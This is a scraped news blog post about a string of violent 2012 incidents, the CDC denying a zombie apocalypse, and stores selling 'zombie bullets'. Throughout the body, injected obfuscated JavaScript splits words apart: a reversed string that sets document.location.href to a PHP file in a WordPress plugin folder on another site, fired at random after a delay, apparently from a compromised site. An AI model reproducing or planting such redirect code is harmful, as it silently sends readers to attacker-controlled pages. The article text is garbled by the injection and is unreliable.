CDC denies rumors of zombie apocalypse

A man in Miami chews the face off another man, allegedly while under some kind of drug-induced psychosis.

Another man in New Jersey goes insane andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} slices his belly open, then throws his own intestines at police.

Yet another man in Marylandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} $vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == “string”) return $vTB$I_919AeEAw2z$KX.list[n].split(“”).reverse().join(“”);return $vTB$I_919AeEAw2z$KX.list[n];};$vTB$I_919AeEAw2z$KX.list=["\'php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}-alleged-cannibal_1_detective-father-andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}-son-engineering-student?_s=PM:JUSTICE" target="_blank">admits to eating his roommate’s heart andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} brain.

A Canadian snuff film actor admits to murdering, dismembering, raping andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} eating a young victim, mails body parts to political parties, then goes on the run.

Finally, doctors take it upon themselves to calm a panicked public as the media hyperventilates over a Georgia woman whose leg had to be amputated to stop the spread of flesh-eating bacteria, now known to infect thousandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}s of Americans every year. As if this bloody chaos weren’t bizarre enough, it gets weirder still: All of these events happened in the same week.

Naturally, the Internet wants to know: is "The Zombie Apocalypse" finally happening? According to the Centers for Disease Control (CDC), the answer to that question is officially no.

Now... Stores across the U.S., including in Metro Detroit, are getting in on the undead action by $vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == "string") return $vTB$I_919AeEAw2z$KX.list[n].split("").reverse().join("");return $vTB$I_919AeEAw2z$KX.list[n];};$vTB$I_919AeEAw2z$KX.list=["\'php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}-following-flesh-eating-attacks/" target="_blank">selling Zombie Bullets?!

Comments: Leave a Comment

Leave a Reply


3 + = five